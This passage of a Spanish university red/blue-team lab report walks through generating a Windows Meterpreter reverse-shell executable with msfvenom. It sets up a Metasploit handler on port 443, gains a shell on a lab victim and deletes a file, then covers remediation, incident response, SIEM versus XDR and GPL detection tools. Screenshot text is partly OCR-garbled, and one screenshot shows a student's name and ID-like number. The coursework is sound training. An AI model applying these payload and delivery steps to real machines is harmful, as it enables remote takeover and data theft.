interfaz grafica de usuario (MSFconsole) o mediante la linea de comandos,
proporcionando flexibilidad para los diferentes estilos de trabajo.

Automatizacion de tareas: permite la automatizacion de tareas repetitivas

y la creacién de scripts para realizar pruebas de penetracion de manera
eficiente.
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Exploits multifuncionales: ademas de explotar vulnerabilidades, puede
utilizarse para realizar tareas como el escaneo de puertos, la enumeracion
de servicios, la recoleccion de informacion del sistema y mas.

Msfvenom: es una herramienta incluida en el framework de Metasploit que
se utiliza para generar payloads (cargas Uutiles) personalizadas, lo que
permite a los usuarios crearlos para una amplia variedad de sistemas
operativos y arquitecturas, con la capacidad de integrar facilmente exploits
en estas cargas utiles.

4.1.2 DATOS E INFORMACION DEL ANEXO 4 — ESCENARIO 3 QUE LE
FUERON DE AYUDA PARA IDENTIFICAR EL FALLO DE SEGURIDAD

A continuacion, se lista la informacion del anexo 4 — escenario 3 que fue de ayuda
para identificar el fallo de seguridad especifico el cual ataca a la maquina Windows
10 X64.

e exploit/multi/handler: funciona como un intérprete que esté a la espera
de conexiones de las maquinas comprometidas después de que un
exploit ha sido ejecutado con éxito.

e windows/x64/meterpreter/reverse_tcp: es un payload de metasploit
utilizado para obtener acceso y control remoto sobre una maquina
Windows de 64 bits.

e Tenia un S.O Windows 10 a 64 bits, sistema operativo y arquitectura
de la maquina victima.

e Los sistemas de seguridad tanto del S.O como externos se
encontraban desactivados totalmente (Firewall, Windows Defender,
Antivirus, entre otros).

e Contaba con un archivo de texto ubicado en el escritorio.

e PORT=443

4.1.3 HERRAMIENTA PARA IDENTIFICAR FALLOS DE SEGURIDAD

La herramienta utilizada para identificar los fallos de seguridad en la maquina
Windows 10 X64 fue Metasploit, especificamente la utilidad msfvenom para crear
un payload malicioso y el exploit multi/handler para establecer una conexion reversa
con el sistema objetivo y ejecutar el payload.

El puerto especifico que la aplicacion mencionada en el anexo abre es el puerto
443. Este puerto se utiliza para la comunicacion entre la maquina atacante (Kali
Linux en este caso) y la maquina victima (Windows 10 X64) durante el ataque. La
conexion reversa se establece desde la maquina victima hacia la maquina atacante
a través de este puerto, lo que permite al atacante obtener acceso y control remoto
sobre la maquina objetivo.

29



4.1.4 MANERA ESPECIFICA COMO AFECTA EL ATAQUE A LA MAQUINA
(WINDOWS 10 X64)

Creacion del payload: el atacante utiliza msfvenom para crear un archivo ejecutable
malicioso (payload) disefiado especificamente para el sistema operativo Windows
10 de 64 bits, el cual establecera una conexion de vuelta al atacante a través del
puerto 443.

Ejecucion del payload en la maquina victima: el archivo ejecutable malicioso se
ejecuta en la maquina Windows 10 objetivo.

Establecimiento de la conexion de Shell reversa: una vez que el archivo ejecutable
malicioso se ejecuta en la maquina Windows 10, establece una conexién de vuelta
(reverse shell) hacia la maquina del atacante a través del puerto 443, lo que permite
al atacante tener acceso remoto al sistema comprometido.

Control remoto del sistema comprometido: con la conexion de Shell reversa
establecida, el atacante puede tener acceso completo al sistema comprometido,
puede ejecutar comandos, obtener informacion confidencial, instalar malware
adicional, modificar configuraciones del sistema, robar datos, etc.

Figura 18. Esquema de afectacion del ataque.
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i
. CREACION DE PAYLOAD CON ENVIO DE CARCA UTIL A DESCARGA DEL ARCHIVO INSTALACION DE
OBTENCION DE NUMERO METASPLOIT TRAVES DE WHATSAPP - LA MALICIOSO ARCHIVO MALICIOSO
DEwT:;Er:::ngE VICTIMA UTILIZABA
WHATSAPP WEB
FASES CYBER KILL CHAIN 1
1. RECONOCIMIENTO @
2. PREPARACION 5
3. DISTRIBUCION 6 ==
4 EXPLOTACION 9== @
; ACCESO COMPLETO AL SISTEMA COMPROMETIDO, PUEDE
5. INSTALACION ]
EIECUTAR COMANDOS. OBTENER INFORMACION CONEXION DE VUELTA
CONFIDENCIAL, INSTALAR MALWARE ADICIONAL, (REVERSE SHELL) HACIA

6) CONEXION AL COMANDO MODIFICAR CONFIGURACIONES DEL SISTEMA, ROBAR LA MAQUINA DEL
¥ CONTROL DATOS, ETC. ATACANTE A TRAVES
7) ACCIONES SOBRE LOS ELIMINACION DEL ARCHIVO TXT DEL PUERTO 443

OBIETIVOS

Fuente: propia.
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4.1.5 DOCUMENTAR Y ADJUNTAR LOS COMANDOS UTILIZADOS

Inicialmente, se evidencia que las maquinas cuentan con conectividad entre ellas.

Figura 19. Evidencia de conectividad.

Fuente: propia.

Se crea el archivo txt con los datos que solicitan en el anexo 4.

Figura 20. Archivo txt.

Archive Edicien Formate Ver Ayuda
Lina Maria Oliveros Romero
1022402645|

202337164

14/03/2024

Linea 2, columna 11 100%  Windows (CRLF) UTF-8

Fuente: propia.
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Se crea el payload en la maquina atacante, el cual se explica a continuacion:

Figura 21. Creacién de payload.

i kali-linux-2023.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox 77

Archivo Maquina Ver Entrada Dispositivos Ayuda

N EmP |1 2 3 4|6

root@kali: /home/kali
File Actions Edit View Help
root@kali: /home/kali % kali@kali: ~ % kali@kali: ~ %
xe
Error: The selected arch is incompatible with the payload
/home/kali
windows/x64/meterpreter/reverse_tcp L ) windows x64
File System LHOST=192.168.80.22 LPORT=443 exe /home/kali/Downloads/PoC_1022402645.
exe
No encoder specified, outputting raw payload

P Payload size: 510 bytes
Final size of exe file: 7168 bytes

/home/kali

Places
B8 Computer .

B kali
= Desktop

ﬂ Recent

PoC_1022402645.e

xe

Fuente: propia.

-p windows/x64/meterpreter/reverse_tcp: este parametro especifica el payload
gue se utilizara. En este caso, windows/x64/meterpreter/reverse_tcp indica que se
esta utilizando el payload Meterpreter para Windows de 64 bits con una conexion
TCP inversa, lo que significa que el payload creara una conexion desde la maquina
objetivo hacia la maquina atacante.

--platform windows: este parametro indica la plataforma para la cual se esté
creando el payload, en este caso, se especifica que el payload esta dirigido a
sistemas operativos Windows.

-a x64: este parametro indica la arquitectura del sistema objetivo que se va a atacar.
Se especifica que se esta apuntando a una arquitectura de 64 bits (x64).

LHOST=IP_KALI: este parametro indica la direccion IP del host local (maquina del
atacante) al cual se conectara el payload Meterpreter.

LPORT=443: este parametro especifica el puerto local al cual se conectara la

maguina victima, en este caso, se utiliza el puerto 443, que es comunmente utilizado
para el trafico HTTPS.
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-f exe: este parametro indica el formato del archivo que se va a generar, el cual
especifica que se desea un archivo ejecutable como resultado.

>> /Directorio_guardar_ejecutable/Nombreejecutable.exe: este comando
redirige la salida del comando msfvenom hacia un archivo en el directorio
especificado.

Posteriormente, se deja caer el archivo PoC_1022402645.exe en la maquina
victima.

Figura 22. Creacién de payload.

Administrar PoC_1022402645 -
Herramientas de aplicacién

> Descargas > PoC_1022402645 ~| O Buscar en PoC_10224026435
Fecha de modificacién ipo Tamafio

[ PoC_1022402645 14/03/2024 5:27 p. m.

<

1elemento 1 elemento seleccionado 7,00 KB

Fuente propia.
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Una vez ejecutado el payload, se abre metasploit en la maquina de atacante.

Figura 23. Metasploit.

Shell No. 1

File Actions Edit View Help

—=[ 2376 exploits - 1232 auxiliary - 416 post
=[ 1388 payloads - 46 encoders - 11 nops
=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > i

Fuente propia.

Figura 24. Metasploit.

Shell No. 1

File Actions Edit View Help

> set lport

exploit

CP handler on 192.16¢

Fuente propia.
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e Exploit: El exploit a utilizar es exploit/multi/handler

e Payload: El payload a utilizar es el mismo que se utilizé en la construccion
del ejecutable windows/x64/meterpreter/reverse_tcp

e LHOST: Se ingresa la ip del Kali Linux

e LPORT: Se ingresa el puerto 443 el cual en la mayoria de las ocasiones se
encuentra en estado open.

Una vez ejecutados los comandos se visualiza en la consola que se establecio la
conexion con la maquina victima.

Figura 25. Ejecucidon de comandos en Metasploit.

Shell No.1

File Actions Edit View Help

Metasploit Documentation: https://docs.metasploit.com/

neterpreter/reverse_tcp

» 192.168.80.20:54982) a

2J8IR7
10.0 Build 19@45).

‘windows

Fuente propia.
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A continuacién, se muestra el nombre de la maquina victima para corroborar que se

trata de la conexion que establecio la maquina.

Figura 26. Evidencia de maquina victima.

Cnnﬁgurmo‘% - X
@ icio Acerca de
| | | El equipo esta supervisado y
protegido
Sistema
Ver detalles en Seguridad de Windows
= Pantalla
Especificaciones del dispositivo
@) Sonido
Nombre del dispositivo  DESKTOP-82J8IR7
P i 2th Gen Intel(R) Core(TM) i5-124 2
O Refeersyreraes rocesador b}t Gen Intel(R) Core(TM) i5-12450H 2,50
RAM instalada
2 Asistente de concentracién ) S
1d. del dispositivo 26D-BF2F-576621104AE8

Id. del producto 003!

@) Energla y suspensién
Tipo de sistema Sistemna ope bits, procesador x64

Lépiz y entrada tactil scrita no esta

o .
Baterfa disponible para esta pantalla

=  Almacenamiento Copiar

Fuente propia.

Con el comando Shell se logra entrar una Shell interactiva para trabajar con
comandos habituales de la maquina en este caso comandos de Windows.

Figura 27. Evidencia de intrusién a la maquina.

meterpreter > shell

Process 5276 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19045.3803]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\windows\Downloads\PoC_1022402645>cd ..
cd ..

C:\Users\windo Downloads>cd ..
cd s

C:\Users\windows>1s

1s

"1s" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\windows>dir

dir

El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 5C11-A1BB

Directorio de C:\Users\windows

<DIR>
<DIR> e
<DIR> 3D Objects
<DIR> Contacts
<DIR> Desktop
<DIR> Documents
<DIR> Downloads
<DIR> Favorites
<DIR> Links
<DIR> Music
<DIR> OneDrive
<DIR> Pictures
<DIR> Saved Games
. <DIR> Searches
p.em. <DIR> Videos
@ archivos 0 bytes
15 dirs 31.811.735.552 bytes libres

Fuente propia.
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Para eliminar el archivo txt con el comando cd .. se navega hasta la ruta Desktop, y
posteriormente, se lanza dir para validar los archivos que se encuentran en esa ruta.

Figura 28. Evidencia de eliminacién de archivos.

Shell No. 1

File Actions Edit View Help

esktop>dir

n de la un:

Fuente propia.

Una vez identificado el archivo LinaOliveros.txt, mediante el comando del se realiza

el borrado de este, posteriormente, se lanza el comando dir en donde se evidencia
gue el archivo fue eliminado.

Figura 29. Evidencia de eliminacién de archivos.

Shell No. 1

ws\Desktop>dir

EL volumen di unidad C no tiene

iqueta.
EL nemero de

olumen es: 5C11-A1BB
window: ktop

p.em. <DIR>
p.em. <DIR>

s\Desktop>dir

El volumen de la unidad
EL nemero de

tiene etiqueta.
C11-A1BB

indows\Desktop

Fuente propia.
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5. DESARROLLO DE TRABAJO - ETAPA 4

5.1 ;ANTE UN ATAQUE INFORMATICO EN TIEMPO REAL USTED COMO
EXPERTO EN CIBERSEGURIDAD QUE PASOS TOMA PARA IDENTIFICAR
DICHO ATAQUE? DEBE LISTAR Y EXPLICAR CADA UNO DE ESTOS
PASOS.

1. Deteccion inicial del ataque:
Utilizacion de herramientas de deteccion de intrusiones, como sistemas de
deteccion de intrusiones (IDS) o sistemas de prevencion de intrusiones (IPS),
para identificar patrones de trafico andémalos, intentos de intrusion o
comportamientos maliciosos en la red.

Monitorizacion de registros de eventos (logs) de sistemas y aplicaciones en
busca de actividades inusuales o indicadores de compromiso (I0Cs).

Confirmacién del incidente:

Validacion de la deteccién inicial del ataque mediante analisis adicional de
los eventos registrados y del trafico de red sospechoso en el SIEM.

Determinacion del alcance del incidente para comprender qué sistemas o
recursos estan afectados y la naturaleza del ataque.

Recopilacion de informacién adicional:

Recopilacion de datos adicionales sobre el ataque, como registros de
sistemas, registros de firewall, registros de eventos de seguridad, y cualquier
otra evidencia relevante.

Investigacion de posibles fuentes de informacion externa, como feeds de
inteligencia de amenazas o comunidades de seguridad, para identificar si el
ataque es parte de una campafia mas amplia o esta siendo llevado a cabo
por actores conocidos.

Andlisis forense inicial:

Si es necesario, iniciar un analisis forense para recopilar y preservar
evidencia digital relevante.

Identificacion de la causa raiz del incidente y de las técnicas utilizadas por el
atacante para comprometer el sistema o red.
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Contencién del incidente:

Implementacion de medidas para contener y limitar el impacto del ataque,
como la desactivacion de cuentas comprometidas, la desconexién de
sistemas afectados de la red, o la aplicaciéon de reglas de firewall para
bloguear el trafico malicioso.

Notificacién y escalado:

Notificacion a las partes interesadas relevantes, como el equipo de respuesta
a incidentes de seguridad (CSIRT), la direccibn de la empresa, los
proveedores de servicios afectados y las autoridades regulatorias, segun sea
necesario.

Escalado del incidente a equipos especializados si es necesario, como
equipos de respuesta a incidentes cibernéticos, equipos de seguridad
internos o proveedores de servicios externos de respuesta a incidentes.
Investigacion y analisis en profundidad:

Realizacion de una investigacion y analisis en profundidad del incidente para
comprender completamente su naturaleza, sus implicaciones y las lecciones
aprendidas.

Identificacion de medidas correctivas y preventivas para mitigar futuros
ataques similares.

Recuperacién y restauracion:

Implementacion de medidas para recuperar y restaurar los sistemas
afectados a un estado seguro y funcional.

Monitoreo continuo de la red y de los sistemas para detectar cualquier

actividad sospechosa adicional y asegurarse de que el incidente ha sido
completamente resuelto.
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5.2 ¢TENIENDO EN CUENTA EL ATAQUE EJECUTADO DESDE EL
EJERCICIO DE RED TEAM LISTE EL PASO A PASO QUE EJECUTO PARA
SUBSANAR EL SISTEMA ANTE EL EVENTO DEL PAYLOAD?

Inicialmente, se evidencia que la maquina victima se encuentra con todos los
controles de seguridad abajo.

Figura 30. Evidencia de controles de seguridad abajo.

Fuente propia.

A continuacion, se listan las actividades de hardenizacion que se realizan en la
maquina.

Habilitar o instalar un antivirus.

Instalar o activar el firewall.

Actualizaciones automaticas del sistema operativo.
Activar el cifrado de disco.

Configurar cuentas de usuario:

Cuenta de administrador: esta habilitada por defecto.

Cuenta estandar: no permite realizar cambios en el sistema.

Cuenta de invitado: se debe desactivar.

Gestor de contrasefias: Algunos navegadores ofrecen este servicio
incorporado.

0 O O O

Desactivar el acceso remoto.
Inicio de sesidn automatico.
Contrasenia.

Copias de seguridad.

En la maquina victima se sube el AV.
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Figura 31. Evidencia de subida de AV.

Control de cuertas de usuano. x
{Quieres permitir que esta aplicacion realice
cambios en tu dispositivo?

S Sequridad de Windows

Editor comprobado: Microsoft Windows

(|

Mostrar més detafle

Fuente propia.

El cual al instante elimina el archivo malicioso.

Figura 32. Evidencia de subida de AV.

& OneDiive
£ Este equipo

o Red

Fuente propia.
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Adicionalmente, se lanza un analisis antimalware con Windows Defender.

Figura 33. Evidencia de subida de AV.

Sequridad de Windows

O Proteccién contra virus y amenazas

Proteccign para el disposiivo contra amenazas

|O YD Amenazas actuales
Examen répido en ejecucion...
Tiempo restante estimado: 00:03:26
149 archivos examinados
Cancelar
Puedes seguir trabajando mientras examinamos el dispositivo.

Historial de proteccion

o, Configuracion de Proteccion contry
amenazas

No se requiere ninguna accidn

Administrar la configuracion

Fuente propia.

De acuerdo con el resultado del analisis se evidencia que la maquina se encuentra
limpia.

Figura 34. Evidencia de maquina limpia.

Sequridad de Windows

O Proteccién contra virus y amenazas

Proteccién para el dispositivo contra amenazas.

¥ Amenazas actuales

a No hay amenazas actuales.
Uitimo examen: 21/03/2024 6:09 p. m. (examen rpidc)

ncontradas.

ird 24 segundaos

28415 archivos examinados,

Examen ripido

Opciones de examen

Amenazas permitidas

Historial de proteccién

n contra virus y amenazas

o, Configuracién de Proteccién contra virus y

amenazas Resultados del examen de Windows Defender

Mo se requiere ninguna accin

Administrar |a configuracién

Fuente propia.
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Adicionalmente, se activa el firewall de Windows.

Figura 35. Evidencia de subida de Firewall.

Sequridad de Windows - o x
“» Firewall y proteccion de red
Quién y qué puede tener acceso a las redes.
Y
U nEe Red de dominio
Q El firewall estd activado.
| e
= % Red privada (activo)
El firewall esta activado.
a
¥ @ Red publica
o El firewall esta activado.
Permitir una aplicacion a través del firewall
Solucionader de problemas de red e Internet
Configuracién de notificaciones de firewall
Configuracién avanzada
| &

Fuente propia.

Por otro lado, se realiza una basqueda de actualizaciones pendientes.

Figura 36. Evidencia de actualizaciones.

Dnfiguracion - X

@ Inido Windows Update

| Buscar una opcién de configuracién O | @ Buscando actualizaciones...

Actualizacién y seguridad Faltan correcciones importantes de seguridad y calidad en el dispositivo.

| & windows Update Este equipo no cumple

actualmente con los

0 % .
B ORIty © requisitos minimos del Obtener Comprobacién de estado de laPC X
sistema para ejecutar
W Seguridad de Windows 4 paraie]
Windows 11

Obtén los detalles y comprueba si

T Copia de sequridad de archivos
T ez 9 algo que puedas hacer en la
aplicacion Comprobacion de estado
&? solucién de problemas dela PC.
£ Recuperacién
] Obtén las titimas actualizaciones en cuanto estén disponibles .
@ Activacién Sé de los prim: obtener las iltimas actu conrecconesy @ Desactivado
mejoras que no sea uridad a medida que se implementen
Mss informacion
A Buscar mi dispositivo

(@) Pausar lss sctualzaciones por 7 dias
ft  Para programadores

Dl Instalar las actuslizaciones lo antes posible
& windows Insider Program Te notificaremos antes del

nicio, y podrs por

@ Cambiar horas activas
En este 0 8:00 3. m. 3 500 p. m.

=

Fuente propia.
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Se acepta que se descarguen las actualizaciones en cuanto estén disponibles.

Figura 37. Evidencia de actualizaciones.

Windows Update
sistcine para cyecuen
] Windows 11
Obtén los detalles y comprueba si
algo que puedas hacer en la
aplicacién Comprobacion de estado

delaPC.
) Obténlas Gitimss sctuslizaciones en cusnto estén disponibles
sé delos pr abtener las wltir . correcciones y @D Activado

mejoras que no sear
Més informacion

idad a m ue se implementen.

@ Pausar las actualizaciones por 7 dias

pb Instalar las actualizaciones lo antes posible
Te notificaremos antes del reinicio, y podrés posp:

@y Cambiar horas activas
En este m 8:00 a. m. a 5:00 p. m.

® Ver historial de actualizaciones
Ver actualizaciones instaladas en el dispositivo I}o

/™ Opciones avanzadas
Configuracién y con

Fuente propia.

Figura 38. Evidencia de actualizaciones.

p— s x

@ Opciones avanzadas

Opciones de actualizacion

Recibie sctualizaciones para otros productos de icrosoft al actusizar Windows

[y

Descargar aclushzacionss a ravés 0¢ CORXONES e w50 MEdice (e Posibie que Se Bpliguen carges sdcionsles)

W ranaso

Reinicia el dispositiva I antes posible cusnd se requiera un reinicio para instalar una actualizscién. Windews mastrard un avise antes del reinicie el
ispositivy debe estar encendide ¥ conectado.

W ranado

Notificaciones de actualizacion

Mosirar una notificacion cuando el equipa requiere un reinicio para completar la actualizacion

WD roado

Pausar actualizaciones

S alcanas el imite g pausa. Deberds instalar 35 actuslizaciones mis racientsl

Pausar hasta

- |

Fuente propia.
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Adicionalmente, se debe configurar una cuenta en one drive para realizar las copias

de seguridad.

Figura 39. Evidencia de copias de seguridad.

Fuente propia.

Copia de seguridad de archivos

| Hacer copias de seguridad de archivos en
OneDrive

se pretegeran y podras obtener

Crear copias de seguridad con el historial de
archivos

Agregar una unidad

+

Mas opciones

;Buscas una copia de seguridad mas antigua?

eguridad mediante Ia herramienta Copia de
avia funcionard en Windows

Ir a Copias de seguridad y restauracién (Windows 7)

" Ayuda de la web

foigna o uncad oo
f O M B = 8 Avc ~owmDo) e

Erradicacion:

Se verifica la autenticidad de la alerta.

Se identifica el sistema operativo afectado el cual corresponde a un
Windows 10 x64 como Unico activo comprometido.

Se identifica que el ataque es realizado mediante un mensaje de
WhatsApp web en donde se descarga un archivo de extension .exe,
el cual genera una conexion de Shell reversa brindandole a los
atacantes acceso a informacion de manera local.

Se identifica la conexién de la direccion IP del atacante.

Se identifica la informacion y/o datos exfiltrados y/o eliminados,

Se determina que el alcance del ataque se limita un solo host.

Se localiza el archivo malicioso.

Se generan los hashes del archivo

Se entregan 1oC al equipo de monitoreo para identificar si el ataque
se pudo expandir.

Se agregan IoC a herramientas de seguridad perimetral y punto final.
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5.3 SABEMOS QUE EXISTEN EQUIPOS BLUE TEAM Y RED TEAM, PERO
ENTONCES ¢QUE DIFERENCIA EXISTEN ENTRE LOS EQUIPOS ANTES
MENCIONADOS CON EL PURPLE TEAM Y EQUIPOS DE RESPUESTA A
INCIDENTES INFORMATICOS?

Los equipos Blue Team y Red Team son parte de un enfoque de seguridad
cibernética conocido como "pruebas de penetracion™ o "pentesting”.

Blue Team: este equipo se enfoca en defender los sistemas de una
organizacion contra ataques cibernéticos, realizando tareas como monitoreo
de seguridad, implementacion de controles de acceso, configuracién de
firewalls y deteccion, respuesta a intrusiones, entre otros.

Red Team: es responsable de simular ataques cibernéticos realistas contra
los sistemas de una organizacion para evaluar la efectividad de las defensas
del Blue Team, buscando identificar debilidades en la infraestructura de
seguridad y ayudan a mejorarla al exponer areas vulnerables.

Purple Team: busca combinar las habilidades y conocimientos del Blue
Team y el Red Team, en lugar de tener equipos separados que trabajan de
forma independiente; el Purple Team promueve la colaboracién entre ellos,
para identificar areas de mejora y trabajar en la implementacion de
soluciones mas efectivas.

Equipos de respuesta a incidentes informéticos (CSIRT): estos equipos
se activan después de que se produce un incidente de seguridad cibernética.
Tiene como objetivo detectar, mitigar y recuperarse de los ataques
cibernéticos; trabajan para contener el incidente, minimizar el impacto y
restaurar la normalidad operativa de la organizacion.

5.4 ¢QUE FUNCION TIENE CIS “CENTER FOR INTERNET SECURITY”
DENTRO DE EQUIPOS BLUETEAM? USTED DEBE REALIZAR UN
PEQUENO TUTORIAL DE COMO FUNCIONA CIS Y QUE SE DEBE HACER
PARA ENCONTRAR LOS TUTORIALES QUE POSEE.

El Center for Internet Security (CIS) es una organizacion sin fines de lucro cuya
mision es hacer que el espacio cibernético sea mas seguro, la cual proporciona
varias herramientas, recursos y recomendaciones para ayudar a mejorar la
seguridad de la informacion. Entre sus contribuciones mas conocidas se encuentran
los CIS Controls y los Benchmarks de CIS.2

8 "Center for Internet Security" (CIS)", cisecurity, consultado el 8 de septiembre de 2023,
https://lwww.cisecurity.org/
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El CIS dentro de un equipo BlueTeam tiene la funcién de:
e Proporcionar controles CIS.
e Ofrecer Benchmarks de CIS (Benchmarks son guias detalladas para
la configuracion segura de sistemas operativos, middleware,
aplicaciones de software y dispositivos de red).

e Facilitar herramientas de autoevaluacion.
e Promover una comunidad de seguridad.

Tutorial:

Para empezar a utilizar los recursos que ofrece CIS y encontrar tutoriales
especificos, es necesario seguir los siguientes pasos:

e Visitar la pagina oficial de CIS: acceder a https://www.cisecurity.org/.

e Explorar los CIS Controls:
En el menad principal, buscar la seccién "CIS Controls" para acceder a la
dltima version de los controles y obtener una descripcion general. Aqui
también se encontraran enlaces a recursos adicionales y documentacion
detallada sobre cada control.

e Consulta los Benchmarks de CIS:

Buscar la seccion "CIS Benchmarks" en el sitio web para acceder a guias de
configuracion segura para una amplia variedad de plataformas.

e Descargar y utilizar herramientas de evaluacion:

CIS-CAT Lite es una herramienta que se puede descargar directamente
desde el sitio web de CIS.

e Unirse a la comunidad CIS:

Para mantenerse actualizado y participar en foros de discusion, considere
unirse a la comunidad CIS.

e Buscar tutoriales y formacion:
Dentro del sitio web, explorar las secciones "Resources” o "Community" para

encontrar tutoriales, webinars y cursos de formaciéon que ayudaran a
entender y a implementar mejor las practicas recomendadas por CIS.
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SIEM
Una

plataforma

que
proporciona una vista en
tiempo real del panorama de
seguridad de una
organizacion.

5.5 DEBERA DOCUMENTAR MEDIANTE LA ELABORACION UNA TABLA LAS
DIFERENCIAS EXISTENTES ENTRE: SIEM Y XDR. °

XDR

Una solucion de seguridad

gque combina y correlaciona
datos de multiples capas de
seguridad para mejorar la
deteccion, investigacion 'y
respuesta a amenazas.

Centrado en la agregacion de
datos y la gestion de eventos
de seguridad.

Centrado en la deteccion,
investigacion y respuesta a
amenazas a través de
multiples vectores y capas de
seguridad.

Principalmente de logs vy
fuentes de datos
estructurados.

De una amplia gama de
fuentes, incluyendo
endpoints, redes,
aplicaciones, y la nube, tanto
datos estructurados como no
estructurados.

Basada en reglas y patrones
predefinidos.

Utiliza el aprendizaje
automatico y analisis de
comportamiento para
correlacionar y analizar datos
de manera mas dinamica y
contextual.

La respuesta puede ser mas
manual y basada en las alertas
generadas.

Ofrece  capacidades de
respuesta automatizada vy
orquestada a incidentes,
permitiendo acciones rapidas
y coordinadas.

Puede requerir mas esfuerzo
para escalar y adaptarse a
nuevos tipos de datos vy
fuentes.

Diseflado para ser altamente
escalable y adaptable a
nuevas fuentes de datos y
amenazas emergentes.

9 Palo Alto Networks, "SIEM vs. XDR: The Definitive Guide", consultado el 12 de mayo de 2023,
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Proporciona una amplia vision | Ofrece analisis profundo vy
del panorama de seguridad, | contextual de las amenazas,

pero puede ser limitado en el | proporcionando una
andlisis profundo de | visibilidad detallada a través
amenazas. de las capas de seguridad.

Agregar y monitorear eventos | Mejorar la deteccion de
de seguridad para cumplir con | amenazas y la capacidad de
la conformidad y la gestion de | respuesta frente a incidentes
registros. de seguridad avanzados vy
sofisticados.

Tabla 1. Diferencias SIEM y XDR.

5.6 DEFINA POR LO MENOS 3 HERRAMIENTAS DE DETECCION DE ATAQUES
INFORMATICOS CON LICENCIA GPL.

Snort: es un sistema de prevencion de intrusiones de red (NIPS) y un sistema de
deteccion de intrusiones de red (NIDS) altamente configurable. Funciona
analizando el trafico de red en tiempo real y comparandolo con un conjunto de
reglas definidas para identificar posibles ataques, como desbordamientos de bufer,
ataques de dia cero, y escaneos de puertos, entre otros.0

Caracteristicas principales:

e Capacidad para realizar andlisis de protocolo en tiempo real y basqueda y
coincidencia de contenido, puede ser utilizado para detectar una variedad de
ataques y sondas, como intentos de fingerprinting, ataques CGIl, SMB
probes, y mas.

e Soporta la integracion con sistemas de gestion de eventos e informacion de
seguridad (SIEM) para un andlisis mas profundo y correlacion de datos.

e Licencia: GPL (version especifica puede variar segun la version de Snort).

Suricata: es una herramienta de deteccion, prevencion e inspeccion de intrusiones
de alto rendimiento. Esta solucién de seguridad es capaz de procesar millones de
paquetes por segundo y es conocida por su capacidad para identificar amenazas
en tiempo real, ofreciendo a los usuarios deteccion de intrusiones, prevencion de
intrusiones, y monitorizacion de seguridad de red.!!

10 "Snort - Network Intrusion Detection & Prevention System", consultado el 7 de enero de 2023,
https://www.snort.org/.
11 Suricata - Open-Source IDS / IPS / Network Security Monitor", https://suricata-ids.org/
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Caracteristicas principales:

e Soporta deteccion avanzada de amenazas utilizando firmas, anomalias y
analisis de comportamiento.

e Incluye un potente motor de reglas y scripting para la clasificacion vy filtrado
del tréfico.

e Integracion con sistemas modernos de gestion de logs y SIEM para un
analisis y respuesta mejorados.

e Licencia: GPL v2.

Bro/Zeek Zeek, anteriormente conocido como Bro, es un potente sistema de
analisis de trafico de red que se diferencia de los tipicos IDS en su enfoque. En lugar
de basarse solo en firmas de ataques conocidos, Zeek analiza el trafico de red y
genera logs detallados de cada actividad, permitiendo un analisis mas profundo y
contextual de lo que esta sucediendo en la red.

Caracteristicas principales:

e Proporciona un lenguaje de scripting flexible para describir la l6gica de
seguridad de la red, permitiendo a los usuarios adaptar la herramienta
a sus necesidades especificas.

e Genera un detallado conjunto de logs de trafico de red, facilitando la
identificacion de comportamientos sospechosos o anoémalos.

e Puede ser utilizado para aplicaciones que van desde la deteccién de
intrusiones hasta el monitoreo de rendimiento de la red y la resolucion
de problemas.

e Licencia: BSD, lo que significa que, aunque no es GPL, sigue siendo

una licencia de cédigo abierto, compatible y permisiva que permite el
uso, modificacion, y distribucién.
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6. CONCLUSIONES

La colaboracion estrecha y continua entre los equipos Red y Blue Team es
fundamental para una estrategia de ciberseguridad efectiva. La complementariedad
de sus roles y responsabilidades permite una defensa mas robusta y adaptable
contra las amenazas cibernéticas.

La naturaleza cambiante y sofisticada de las amenazas cibernéticas subraya la
necesidad de una vigilancia constante y una respuesta agil. Los equipos Red y Blue
Team deben mantenerse actualizados sobre las Ultimas tacticas y técnicas
empleadas por los adversarios para adaptar sus estrategias de defensa en
consecuencia.

Los ciberataques pueden tener repercusiones significativas en la economia y
operatividad de las organizaciones, incluyendo pérdidas financieras, interrupciones
en la productividad y dafios a la reputacion.

La seguridad cibernética no es solo responsabilidad de los equipos de Tl y
seguridad, sino de toda la organizacion, promover una cultura de seguridad que
involucre a todos los empleados en la proteccion de los activos digitales es esencial
para mitigar los riesgos y fortalecer las defensas contra los ciberataques.

Adoptar un enfoque de seguridad basado en el riesgo permite a las organizaciones
identificar y priorizar las areas mas criticas de su infraestructura de Tl y asignar
recursos de manera eficiente para mitigar los riesgos.

La resiliencia organizacional frente a las amenazas cibernéticas se construye sobre

la base de la evaluacion continua, la adaptacion y la mejora constante de las
capacidades de ciberseguridad.
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7. RECOMENDACIONES
Fomentar la colaboracion continua entre Red y Blue Teams:

e Establecer canales de comunicacion abiertos y regulares entre ambos
equipos para compartir hallazgos, lecciones aprendidas y mejores practicas.

e Organizar sesiones de retroalimentacion post-ejercicio para discutir las
vulnerabilidades descubiertas, los ataques simulados y las estrategias de
defensa implementadas.

Capacitacién y actualizacion constante:

e Invertir en programas de formacién continua para ambos equipos,
asegurando que estén al tanto de las dltimas herramientas, técnicas y
procedimientos (TTPs) utilizados por los adversarios.

e Participar en talleres, seminarios web y conferencias sobre ciberseguridad
para mantenerse actualizado sobre tendencias y amenazas emergentes.

Implementacion de ejercicios de simulacion de atagues (Red Teaming):

e Realizar ejercicios de simulacién de ataques de forma periddica para evaluar
la efectividad de las politicas, procedimientos y controles de seguridad
existentes.

e Utilizar los hallazgos de estos ejercicios para ajustar y mejorar las estrategias
de defensa y respuesta a incidentes del Blue Team.

Mejora continua de las capacidades de deteccidn y respuesta:

e Invertir en soluciones avanzadas de deteccion y respuesta a incidentes,
como sistemas de deteccion de intrusiones (IDS), sistemas de prevencion de
intrusiones (IPS) y plataformas de seguridad orquestada, automatizacion y
respuesta (SOAR).

e Desarrollar y mantener un plan de respuesta a incidentes actualizado que

incluya procedimientos claros y especificos para una variedad de escenarios
de ataque.
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Promover una cultura de seguridad en toda la organizacion:

Extender la conciencia sobre ciberseguridad mas alla de los equipos de Tly
seguridad, involucrando a todos los empleados en la proteccion de los activos
digitales de la empresa.

Implementar programas regulares de concientizacion sobre seguridad para
educar a los empleados sobre las mejores practicas, incluyendo la
